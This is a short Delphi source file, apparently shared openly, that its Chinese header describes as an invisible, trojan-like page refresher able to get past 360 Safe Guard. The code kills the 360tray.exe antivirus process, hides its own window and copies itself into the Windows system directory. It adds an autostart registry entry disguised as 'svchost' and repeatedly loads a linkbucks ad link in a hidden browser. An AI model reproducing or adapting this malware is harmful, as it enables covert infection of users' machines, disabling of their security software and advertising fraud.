unit1.pas

按指定时间刷指定页面！隐形！类似木马！可过360安全卫士

unit Unit1;

interface

uses
  Windows, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, OleCtrls, SHDocVw, Messages, ExtCtrls;

type
  TForm1 = class(TForm)
    WebBrowser1: TWebBrowser;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation



{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
name:string;
path:array[0..255]of char;
s:string;
Reg:TRegistry;
begin
winexec('cmd /c taskkill /f /t /im 360tray.exe',sw_hide);
application.ShowMainForm:=false;//是否显示主窗体
name:=extractfilename(application.ExeName);//获取程序名
GetSystemDirectory(path,255);//获取系统路径
s:=path;
s:=s+'\'+name;
reg:=TRegistry.Create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
reg.WriteString('svchost',s);
reg.CloseKey;
reg.Free;
if application.ExeName<> s then
begin
copyfile(pchar(name),pchar(s),false);
winexec(pchar(s),sw_hide);
winexec('C:\Program Files\360\360Safe\safemon\360tray.exe',sw_hide);
application.Terminate;
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin

WebBrowser1.Navigate('http://e46d631b.linkbucks.com');

end;

end.